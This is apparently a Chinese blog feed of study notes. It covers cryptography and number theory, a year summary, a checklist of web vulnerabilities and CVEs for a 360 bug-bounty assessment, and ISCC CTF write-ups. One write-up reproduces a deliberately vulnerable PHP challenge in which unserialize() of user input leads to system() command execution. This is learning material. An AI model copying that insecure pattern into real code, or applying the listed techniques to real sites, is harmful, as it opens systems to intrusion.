    虽然它在理论上的安全性无庸置疑,但在实际操作上却有着以下的问题:

    用以加密的文本,也就是一次性密码本,必须确实是随机产生的。
    它至少必须和被加密的文件等长。
    用以加密的文本只能用一次,且必须对非关系人小心保密,不再使用时,用以加密的文本应当要销毁,以防重复使用。

    生日攻击 生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。攻击者可在

    image-20210713213656807

    中找到散列函数碰撞,2^n 为原像抗性安全性。

    重合指数法:所有字母出现概率的平方的和接近0.065,这个值称为重合指数。

    数据扩散:改变明文的任何一位,密文通常有一半的位数发生变化。

    数据混淆:改变密钥的任何一位,密文通常有一半的位数发生变化。

    所谓扩散就是让明文中的每一位影响密文中的许多位,或者说让密文中的每一位受明文中的许多位的影响.这样可以隐蔽明文的统计特性.当然,理想的情况是让明文中的每一位影响密文中的所有位,或者说让密文中的每一位受明文中所有位的影响.
    所谓混淆就是将密文与密钥之间的统计关系变得尽可能复杂,使得对手即使获取了关于密文的一些统计特性,也无法推测密钥.使用复杂的非线性代替变换可以达到比较好的混淆效果,而简单的线性代替变换得到的混淆效果则不理想.

    仿射密码

    image-20210919212715548

    代换密码要先建立一个替换表(即密钥),加密时将需要加密的明文依次通过查表,替换为相应的字符,明文字符被逐个替换后,生成无任何意义的字符串,即密文。
    置换密码是对明文字符按某种规律进行位置的置换。

    中间人攻击

    SP网络(代换-置换网络)

    Substitution-Permutation Network,缩写作SP-network或SPN

    S一般被称为混淆层,主要起混淆作用
    P一般被称为扩散层,主要起扩散作用

    代换起混淆作用,置换起扩散作用

    DES

    面向二进制数据的密码算法
    因而能够加解密任何形式的计算机数据。

    S盒起混淆作用

    改变S盒的任一输入比特,其输出至少有两比特发生改变

    置换运算P起扩散作用

    image-20211110215431361image-20211110215415819

    弱点

    image-20211110215618739

    AES

    面向二进制的密码算法
    能够加解密任何形式的计算机数据。
    不是对合运算,加解密使用不同的算法

    最后一轮的轮变换中没有列混合变换。

    image-20211114232150250

    密钥备份和恢复只能针对加解密密钥,无法对签名密钥进行备份。

    第一章-绪论

    密码体制的基本要素:

    • 密码算法
    • 密钥

    密码系统的数学描述:

    S={P,C,K,E,D} 其中,明文空间P也常用消息空间M

    image-20210713213509244

    现代密码学基本原则:

    • 柯克霍夫原则(Kerckhoff’s principle)
      除了密钥之外,即使密码系统的一切均被公开,它仍然应当是安全的。
    • 香农箴言(Shannon’s maxim)
      敌人了解系统。
    • 密码系统的安全性不在于算法的保密,而在于当对手获知了算法和密文后,分析出密钥或明文的难度。

    密码提之的安全性:

    • 无条件安全
    • 可证明安全
    • 计算上安全
    • 实际安全

    通信信道加密方式:

    • 链路加密–点到点加密
    • 高层链接加密–端到端加密

    存储数据的加密:

    • 硬盘级加密
    • 文件级加密

    攻击方法

    攻击类型密码分析员的资源
    唯密文攻击 Ciphtext-only密码算法 待分析密文
    已知明文攻击 Known-plaintext密码算法 待分析密文 用同一密钥加密的一个或多个明文-密文对
    选择密文攻击 Chosen-ciphertext密码算法 待分析密文 可选择特定密文,并获得对应的明文
    选择明文攻击 Chosen-plaintext密码算法 待分析密文 可选择特定明文,并获得对应的密文
    选择文本攻击 Chosen-text密码算法 待分析密文 可选择特定密文/明文,并获得对应的明文/密文
    相关密钥攻击 Related-key密码算法 待分析密文 有确定关系的两个密钥对应的明文-密文对

    序列密码体制 / 流密码体制(Stream Cipher)

    • 以比特(有时也用字节)为单位进行加密/解密运算
    • 同一明文对应的密文一般不同

    分组密码体制(Block Cipher)

    • 以若干比特(通常大于64比特)的数据块为处理单元
    • 同一明文块对应的密文块相同

    根据密文的唯一性分类:

    • 确定型密码体制
    • 概率型密码体制

    明文:Plaintext,Message

    密文:Ciphertext

    目前,衡量一个密码系统是否安全的一个通用的做法是:公开接受来自全世界的研究和攻击。

    第二章-经典密码学

    代换(Substitution)
    明文内容的表示形式改变,内容元素之间相对位置不变
    明文字母用密文中对应字母代替

    置换(Transposition or Permutation)
    明文内容元素的相对位置改变,内容的表示形式不变

    乘积密码(Product Ciphers)
    多个加密技术的叠加

    算术密码

    1.移位密码

    凯撒密码

    将每个字母用字母表中它之后的第k个字母替代
    C = E(k, p) = (p+k) mod 26,p = D(k, C) = (C-k) mod 26
    一些文献中认为Caesar固定使用k=3

    2.仿射密码

    密钥:a,b
    加密:C = E([a,b], p) = (ap+b) mod 26
    解密:p = D([a,b], C) = ((C-b)/a) mod 26

    a=1时,蜕化为凯撒密码。这里不考虑。
    a≠0时,b无限制。
    相当于b=0的仿射加密后,再叠加一次凯撒加密。
    a的取值有限制:gcd(a,26)=1
    a=3,5,7,9,11,15,17,19,21,23,25
    否则不能保证一一映射
    例:a=2, b=1时,p=3->C=7; p=16->C=7
    不同的明文对应同一密文,无法解密
    密钥空间大小为11*26=286

    3.HILL密码

    密钥:m*m个密钥

    加密:每次加密m个明文字母

    image-20210721220734130image-20210721220911593

    解密(要求K可逆)

    image-20210721220926003

    安全性:掩盖频率信息

    抵抗唯密文攻击

    易受已知明文攻击

    代换密码

    1.单表代换密码

    经典密码破译:

    • 频率特征(单字母,双字母,三字母)
    • 连接特征
    • 重复特征

    2.Playfair密码——二维单表代换

    image-20210721223610875

    加密方法:

    每次加密或解密两个字母

    加密规则:

    • 如果两字母是重复的,则在其中插入字母x。
      例如balloon划分为ba lx lo on
    • 如果两字母位于同一行,则各自用右侧字母代换。
      例如ar->RM
    • 如果两字母位于同一列,则各自用下侧字母代换。
      例如mu->CM
    • 否则各自用同行异列字母代换。
      例如hs->BP;ea->IM或JM

    3.多表代换加密(抵抗字频统计攻击)

    4.维吉尼亚密码

    加密算法:Ci = E(k, pi) = (pi+ki mod d) mod 26
    解密算法:pi = D(k, Ci) = (Ci-ki mod d) mod 26

    攻击方法:

    若获得了替换表的个数(密钥长)d,则可以逐个分析

    分析位于i,i+d,i+2d,…的密文,获得密钥ki

    • 密钥:deceptive,d=9明文
    • 密文:ZICVTWQNGRZGVTWAVZHCQYGLMGJ
    • 重排列,在每一列上进行字频攻击

    寻找密钥长度d

    vKasiski方法

    • 在密文中寻找重复字段
    • 计算重复字段的间距
    • 密钥长度d应是这些间距的公约数

    5.Autokey密码

    加解密密钥= ”密钥” + ”明文”

    置换技术

    重新排序隐藏信息

    乘积密码

    两次代换可以构造更复杂的代换,等效为一次规则复杂的代换
    两次置换可以构造更复杂的置换,等效为一次规则复杂的置换
    交替使用代换和置换,可以大大提高安全性

    第三章-密码学基础理论(8.4)

    密码系统运算

    • 构建复杂密码
    • 分析合成密码系统

    1.先验概率,后验概率

    2.闭合系统,非闭合系统

    同构:定义:若密码系统T的消息空间与密文空间相同,则称它是自同构的。
    若密码系统T是自同构的,则可定义指数运算:

    幂等:定义:若密码系统T满足TT=T,则称它是幂等的。
    维吉尼亚密码是幂等的

    单纯密码,混合密码

    相似密码系统

    信息量:H(x)

    冗余,冗余度

    完美安全:完美安全一般用于加密最重要的信息,或者消息集很小的场合。

    消息模糊度

    密钥模糊度

    唯一解距离

    内容:数论基础

    第一节 有限域

    群,环,域

    有限群的阶等于群中元素的个数

    有限群,交换群(阿贝尔群),

    循环群:如果群中的每一个元素都是一个固定的元素a(a∈G)的幂ak(k为整数),则称群G为循环群。
    元素a生成了群G,或者说a是群G的生成元。

    关系图

    image-20210805204923411

    模运算

    a=qn + r 0≤r<n; q=⌊a/n⌋

    image-20210807230847616

    image-20210913223741755

    image-20210917200006538

    同余

    整数a, b及n≠0, 当且仅当a-b=kn时,a与b是模n同余,记为 a≡b mod n

    a≡b mod n当且仅当 a mod n = b mod n

    如果a=mb, 其中 a,b,m 为整数,则当b≠0时,称b能整除a, b是a的一个因子,或a除以b余数为0,记为b|a

    如果n|(a-b), 则a≡b mod n

    加法逆元,乘法逆元

    • 加法表
    • 乘法表
    • 逆元表

    模n的完全剩余类集

    有限域

    多项式计算

    有限域GF(2n)上的多项式计算

    素多项式

    任何多项式可以写为:f(x)=q(x)g(x)+r(x)
    r(x)称为余式
    r(x)=f(x) mod g(x)

    若不存在余式,则称g(x)整除f(x),g(x)|f(x)

    若f(x)除了它本身和1外,不存在其它因式,则称f(x)是不可约多项式,或既约多项式、素多项式

    系数在GF(p)中,以素多项式取模的多项式构成一个域

    欧几里得算法

    1
    2
    3
    4
    5
    6
    7
    a可以表示成a = kb + r(a,b,k,r皆为正整数,且r<b),则r = a mod b
    假设d是a,b的一个公约数,记作d|a,d|b,即a和b都可以被d整除。
    而r = a - kb,两边同时除以d,r/d=a/d-kb/d=m,由等式右边可知m为整数,因此d|r
    因此d也是b,a mod b的公约数
    假设d是b,a mod b的公约数, 则d|b,d|(a-k*b),k是一个整数,
    进而d|a.因此d也是a,b的公约数
    因此(a,b)和(b,a mod b)的公约数是一样的,其最大公约数也必然相等,得证。
    1
    2
    3
    4
    5
    对于任何可以整除a和b的整数,那么它也一定能整除a-b(和b),因此我们选择该整数(前面提到的任何整数)为gcd(a,b),它一定比a-b和b的最大公约数小:gcd(a,b)<=gcd(a-b,b)
    同理,任何可以整除a-b和b的整数,一定可以整除a和b,因此我们选择该整数为gcd(a-b,b),它一定比a和b的最大公约数小:gcd(a-b,b)<=gcd(a,b)
    由此可知:gcd(a,b)=gcd(a-b,b)
    因为总有整数n,使得 a - n*b = a mod b,
    所以迭代可知:gcd(a-b,b)=gcd(a-2b,b)=...=gcd(a-n*b,b)=gcd(a mod b,b)

    gcd(a,b)=gcd(a mod b, b)

    若a和b只有唯一的正公因子1,则称整数a和b是互素的,即gcd(a, b)=1

    扩展欧几里得

    求d=gcd(a,b),并解ax+by=d

    第二节 素数

    素数有无限多个

    费马数

    梅森素数

    完全数

    素因子分解

    任一正整数可通过列出所有素因子的非零指数分量来表示
    例:12可以表示为{a2=2, a3=1}
    例:18可以表示为{a2=1, a3=2}

    两个数的乘法等同于对应指数分量的加法:
    K = mn → kp = mp + np 对所有p
    例:216=12×18=(22×31)×(21×32)=23×33

    最大公约数:k=gcd(a,b) <=> 所有kp=min(ap,bp)
    例:300=22×31×52, 18=21×32 gcd(18,300)=21×31×50=6

    费马定理

    image-20210807223557784

    欧拉定理

    image-20210808111928181

    image-20210808122519540

    image-20210808115027528

    中国剩余定理

    image-20210808122417972

    image-20210808205302384

    原根

    image-20210808205601708

    原根的模数不一定是素数:5是模6的一个原根

    原根未必唯一

    所有的奇数都是模2的原根

    image-20210808210709152

    image-20210808211446013

    算术基本定理

    image-20210808214234027

    DH算法

    image-20210902223744193image-20210913221636557

    扩展欧几里得

    求乘法逆元

    第四章-分组密码

    第一节 DES

    Feistel密码结构

    DES 64位密钥

    实际只使用56位

    其它用作奇偶校验等

    雪崩效应就是一种不稳定的平衡状态也是加密算法的一种特征,它指明文或密钥的少量变化会引起密文的很大变化,就像雪崩前,山上看上去很平静,但是只要有一点问题,就会造成一片大崩溃。 可以用在很多场合对于Hash码,雪崩效应是指少量消息位的变化会引起信息摘要的许多位变化。指加密算法(尤其是块密码和加密散列函数)的一种理想属性。雪崩效应是指当输入发生最微小的改变(例如,反转一个二进制位)时,也会导致输出的不可区分性改变(输出中每个二进制位有50%的概率发生反转)。合格块密码中,无论密钥或明文的任何细微变化都必须引起密文的不可区分性改变。

    构造一个具备良好雪崩效应的密码或散列是至关重要的设计目标之一。

    计时攻击

    能量攻击

    DES能够很好地抵抗计时攻击

    DES不能抵御差分分析、线性分析

    差分密码攻击

    • 分析明文对的差异和密文对的差异之间的关系
    • 确定轮运算的子密钥,从而恢复某些密钥比特

    线性密码分析

    DES的设计标准

    第二节有限域计算
    第三节 AES

    密钥长度:128,192,256

    不是Feistel结构

    字节代换、行移位、列混淆三个阶段一起提供了混淆、扩散和非线性功能。这些阶段不涉及密钥,其本身并不提供安全性

    image-20210917224400452
    第四节 分组密码工作模式

    image-20210917233643054

    不同分组模式的优缺点。

    第五节 其他密码
    image-20210922095840573

    第五章-流密码

    分类:

    • 同步流密钥
    • 自同步流密钥

    第六章-公钥密码

    第七章-消息认证

    1.消息认证
    2.散列算法
    3.MAC算法

    hash是无密钥的

    MAC是有密钥的

    生日悖论

    image-20210926214703360

    对输出n比特的hash函数,生日攻击的代价为$2^{n/2}$

    第八章-数字签名

    第九章-密钥管理

    1.加密

    • 链路加密
    • 端到端加密

    2.密码系统的安全性取决于算法强度和密钥长度

    ]]>
    + + + + + 密码学 + + + + + + + 密码学 + + + +
    + + + + + 2021总结 + + /2022/01/02/%E5%B9%B4%E6%80%BB%E7%BB%93/ + + 岁月蹉跎,转眼已快毕业。2021年还算平稳度过。

    本来想直接就业,3,4月投了很多实习简历,也经历过几次面试。大部分公司石沉大海,直至今日,仍无反应。唯阿里最为迅速,美团最主动,各个部门经常打电话过来。面了几家大厂和乙方龙头企业,都没有如意的结果。深知实战经验缺乏,又难以快速提升。遂作罢,走上考研之路。

    上半年课不算多,都以小组做项目为主,结课之前没有多少时间可以静心复习。

    • 信息检索:最后写一个小的网页检索项目,基于语言建模的信息检索模型、基于机器学习的排序方法和Web搜索技术、文本聚类技术等。
    • 内容安全:社交媒体/网页中的广告检测项目。
    • 舆情分析:*国智库人物画像项目。主要内容是文本情感分析。

    真正开始复习是暑假7月份。因为一些契机,也因为不想在基地待下去,报了一个自命题的学校。寻找资料很难,真题都没有,也很少有可以交流的同学。

    一切时间都要靠自己安排,不像高中那样,只跟老师走就行了。这一路也是兜兜转转,不同的老师,不同的资料,转来转去。从汤家凤到张宇,再到武老师。尤其概率,从余炳森,到汤家凤,到王式安,到张宇,最后是方浩。

    半年来,认识了很多真正的好老师。田静,徐涛,武忠祥,李永乐等。虽未谋面,但却像真正耳提面命一般,一路陪伴着我们。

    不知道新的一年,我将在哪里。不管结果如何,上天都会有最好的安排。

    向前走吧。

    ]]>
    + + + + + 感悟 + + + + +
    + + + + + 初等数论学习 + + /2021/08/05/%E6%95%B0%E8%AE%BA/ + +

    补充信息安全数学基础,为密码学做点铺垫,学习一下初等数论

    密码学中的数论基础

    • 整除和带余除法
    • 欧几里得算法
    • 模运算
    • 素数
    • 费马定理和欧拉定理
    • 素性测试
    • 中国剩余定理
    • 离散对数

    学习安排

    • 整数的离散性
    • 整除的概念和性质
    • 带余数的除法
    • 欧几里得算法
    • 扩展欧几里得算法
    • 贝祖定理
    • 素数与合数
    • 算术基本定理
    • 公因数和公倍数
    • 同余的概念和性质
    • 同余类和剩余系
    • 费马小定理
    • 欧拉定理
    • 中国剩余定理
    • 拉格朗日定理
    • Wolstenholme定理
    • 二次剩余和欧拉判别
    • 高斯引理
    • 二次互反律
    • 原根
    • 高斯函数
    • 位运算和进位制
    ]]>
    + + + + + 密码学 + + + + + + + 数论 + + 密码学 + + + +
    + + + + + 记一次360众测考核 + + /2021/05/31/360/ + + 网址如下:

    https://zhongce.360.cn/

    想参与360众测活动,需要注册登陆,并完成考核。

    考核内容

    1.选择题

    2.判断题

    3.实战题(分值最大)

    题目都比较简单,实战题是CTF形式,拿到一半以上的flag应该就可以通过了。

    主要题型如下:

    1.各种Web漏洞

    • SQL注入
    • XSS跨站脚本攻击
    • 文件上传
    • 命令执行
    • 编辑器漏洞

    2.流量分析题

    比较简单,会用wireshark,分析简单的数据包就可以了。

    3.CMS

    针对特定CMS系统的分析题。

    4.CVE

    经典CVE的复现和分析。

    总结了几个常考的点:

    • GET\POST
    • CVE-2011-3923(struts2)
    • webshell上传
    • Samba远程命令执行漏洞(CVE-2017-7494)
    • drupa7-CVE-2018-7600
    • php文件包含(www.zip源码)
    • 6379端口Redis未授权访问漏洞
    • wireshark流量分析(xiaoma.php)
    • 文件上传绕过方式
    • SQL注入(sqlmap)(要知道注入点在哪)
    • 代码审计(php弱类型)
    • 873rsync服务
    • 后门扫描
    • Supervisor远程命令执行漏洞(CVE-2017-11610)
    • User-Agent头伪造
    • PHPMailer远程命令执行漏洞
    • Referer来源伪造
    • 万能密码
    • tomcat弱口令上传
    • CMS
    • 弱口令
    • Bash远程代码执行漏洞“破壳”(CVE-2014-6271)
    • Drupal 远程代码执行漏洞CVE-2019-6339
    360zc]]>
    + + + + + 渗透 + + + + +
    + + + + + 六月加油 + + /2021/05/23/ganwu/ + + 马上就要高考了,受老师和同学之托,写一段加油的话给即将上高考战场的学弟学妹,也勉励未来的自己。

    我们都不曾平庸,目的向来无关紧要,你所期待遇见的都在途中。所以啊,就把迷惘都写进诗里,在一路颠沛中弹奏成歌,在六月的阳光下高唱出来,惊起身后的鸥鸟,唱醒这早春的天,唱热你倔强的眼眶,唱遍你要去的地方。愿九月的你,生活在现在渴望的远方。

    ]]>
    + + + + + 感悟 + + + + +
    + + + + + ISCC练武题 + + /2021/05/06/ISCC/ + + ISCC练武题

    适合新手的题,练练手

    WEB-1

    image-20210507222242720

    打开环境,是一个投票页面

    image-20210507222313417

    题目要求:在20秒之内让左边的票数高过右边的

    • 方法一:Python写脚本模拟点击,实现刷票
    • 方法二:修改左右客服的ID
    • 方法三:直接在控制台修改左边票数的数据

    WEB-2

    查看源码

    image-20210507223605027

    是JS编码

    http://www.jsfuck.com/

    打开在线网站,直接提交这串编码即出flag

    JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

    It does not depend on a browser, so you can even run it on Node.js.

    Use the form below to convert your own script. Uncheck “eval source” to get back a plain string.

    WEB-3

    image-20210507224002677

    查看robots.txt

    image-20210507224038667

    继续查看code.txt

    出现一串PHP代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php
    <p>code.txt</p>

    if (isset ($_GET['password'])) {

    if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
    {
    echo '<p>You password must be alphanumeric</p>';

    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {

    if (strpos ($_GET['password'], '*-*') !== FALSE)
    {
    die('Flag: ' . $flag);
    }
    else
    {
    echo('<p>*-* have not been found</p>');
    }
    }
    else
    {
    echo '<p>Invalid password</p>';
    }
    }
    ?>

    根据正则表达以GET型提交即可。

    注意是在根目录下提交GET请求。

    image-20210507224313141

    WEB-4

    题目描述:ISCC客服一号冲冲冲(二)

    image-20210524115114413

    打开之后是个伪装的登录框(其实是图片)

    但是图片显示不完整

    描述
    visible默认值。内容不会被修剪,会呈现在元素框之外。
    hidden内容会被修剪,并且其余内容是不可见的。
    scroll内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。
    auto如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。
    inherit规定应该从父元素继承 overflow 属性的值。

    根据 CSS 布局 - Overflow,可以看出图片的完整部分。

    下载图片,并进行LSB隐写破解和压缩文件隐藏破解,发现行不通。

    根据之前题目得到的flag进行POST提交

    image-20210524142323165

    修改admin

    image-20210524142457440

    image-20210524142752396

    根据网上的提示,查看cookie,

    CBC翻转攻击

    image-20210524143139217

    WEB-5

    打开网页,是4张猫猫图片

    image-20210524145620439

    根据题目描述,这是一个ssti模板注入

    这只猫叫小豆泥

    信息收集:xiaodouni

    image-20210524145744276

    WEB-6

    题目:Explore Ruby

    WEB-7

    打开之后是个登录框

    尝试万能密码和SQL注入都没成功

    然后尝试弱口令:test : test

    image-20210507224844092

    登录成功

    image-20210507224920836

    图片地址是base64编码

    解密即可出flag

    WEB-8

    image-20210524154528742

    源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    <?php

    session_start();
    ini_set('max_execution_time', '5');
    set_time_limit(5);

    $status = "new";
    $cmd = "whoami";
    $is_upload = false;
    $is_unser_finished = false;
    $iscc_file = NULL;

    class ISCC_Upload {

    function __wakeup() {
    global $cmd;
    global $is_upload;
    $cmd = "whoami";
    $_SESSION['name'] = randstr(14);
    $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
    global $is_upload;
    global $status;
    global $iscc_file;
    $status = "upload_fail";
    if ($is_upload) {

    foreach ($_FILES as $key => $value)
    $GLOBALS[$key] = $value;

    if(is_uploaded_file($iscc_file['tmp_name'])) {

    $check = @getimagesize($iscc_file["tmp_name"]);

    if($check !== false) {

    $target_dir = "/var/tmp/";
    $target_file = $target_dir . randstr(10);

    if (file_exists($target_file)) {
    echo "想啥呢?有东西了……<br>";
    finalize();
    exit;
    }

    if ($iscc_file["size"] > 500000) {
    echo "东西塞不进去~<br>";
    finalize();
    exit;
    }

    if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
    echo "我拿到了!<br>";
    $iscc_file = $target_file;
    $status = "upload_ok";
    } else {
    echo "拿不到:(<br>";
    finalize();
    exit;
    }

    } else {
    finalize();
    exit;
    }

    } else {
    echo "你真是个天才!<br>";
    finalize();
    exit;
    }
    }
    }
    }

    class ISCC_ResetCMD {

    protected $new_cmd = "echo '新新世界,发号施令!'";

    function __wakeup() {
    global $cmd;
    global $is_upload;
    global $status;
    $_SESSION['name'] = randstr(14);
    $is_upload = false;

    if(!isset($this->new_cmd)) {
    $status = "error";
    $error = "你这罐子是空的!";
    throw new Exception($error);
    }

    if(!is_string($this->new_cmd)) {
    $status = "error";
    $error = '东西都没给对!';
    throw new Exception($error);
    }
    }

    function __destruct() {
    global $cmd;
    global $status;
    $status = "reset";
    if($_SESSION['name'] === 'isccIsCciScc1scc') {
    $cmd = $this->new_cmd;
    }
    }

    }

    class ISCC_Login {

    function __wakeup() {
    $this->login();
    }

    function __destruct() {
    $this->logout();
    }

    function login() {
    $flag = file_get_contents("/flag");
    $pAssM0rd = hash("sha256", $flag);
    if($_GET['pAssM0rd'] === $pAssM0rd)
    $_SESSION['name'] = "isccIsCciScc1scc";
    }

    function logout() {
    global $status;
    unset($_SESSION['name']);
    $status = "finish";
    }

    }

    class ISCC_TellMeTruth {

    function __wakeup() {
    if(!isset($_SESSION['name']))
    $_SESSION['name'] = randstr(14);
    echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

    function __destruct() {
    echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

    }

    class ISCC_Command {

    function __wakeup() {
    global $cmd;
    global $is_upload;
    $_SESSION['name'] = randstr(14);
    $is_upload = false;
    $cmd = "whoami";
    }

    function __toString() {
    global $cmd;
    return "看看你干的好事: {$cmd} <br>";
    }

    function __destruct() {
    global $cmd;
    global $status;
    global $is_unser_finished;
    $status = "cmd";
    if($is_unser_finished === true) {
    echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
    echo "<span style='color:blue'>";
    @system($cmd);
    echo "</span>";
    }
    }

    }

    function randstr($len)
    {
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
    $randstring = '';
    for ($i = 0; $i < $len; $i++) {
    $randstring .= $characters[rand(0, strlen($characters))];
    }
    return $randstring;
    }

    function waf($s) {
    if(stripos($s, "*") !== FALSE)
    return false;
    return true;
    }

    function finalize() {
    $cmd = "";
    $is_upload = false;
    unset($_SESSION);
    @unlink($iscc_file);
    $status = "finish";
    echo "<img src='whichisthetrueiscc.gif'><br>";
    }


    if(isset($_GET['whatareyounongshane'])) {
    $whatareyounongshane = $_GET['whatareyounongshane'];
    switch ($whatareyounongshane) {
    case "src":
    highlight_file(__FILE__);
    break;
    case "cmd":
    echo "想越级干好事?还是有门的……";
    header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
    break;
    case "reset":
    echo "几辈子积累的好运就在这时~:p";
    header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
    break;
    case "upload":
    $resp = <<<EOF
    <form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
    <input type="file" name="iscc_file">
    <input type="submit" value="Upload Image" name="submit">
    </form>
    EOF;
    echo $resp;
    break;
    case "tellmetruth":
    echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
    header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
    break;
    default:
    echo "空空如也就是我!";
    }
    finalize();
    die("所以哪个ISCC是真的?<br>");
    }

    if(isset($_GET['?'])) {

    $wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

    if($goodshit = @unserialize($wtf)) {
    $is_unser_finished = true;
    }

    if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
    finalize();
    die("所以哪个ISCC是真的?<br>");
    }

    ?>

    <head>
    <title>ISCC finder system - which is the true ISCC</title>
    <meta charset="UTF-8">
    <style>
    * {
    margin: 0;
    padding: 0;
    }

    canvas {
    display: block;
    }


    #snowfall {
    width: 100%;
    height: 100vh;
    background: cornflowerblue;
    }
    </style>
    </head>
    <body>

    <!--
    ████████████▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒
    ████████████▒▒▒▒████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
    ▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██
    ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
    ▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
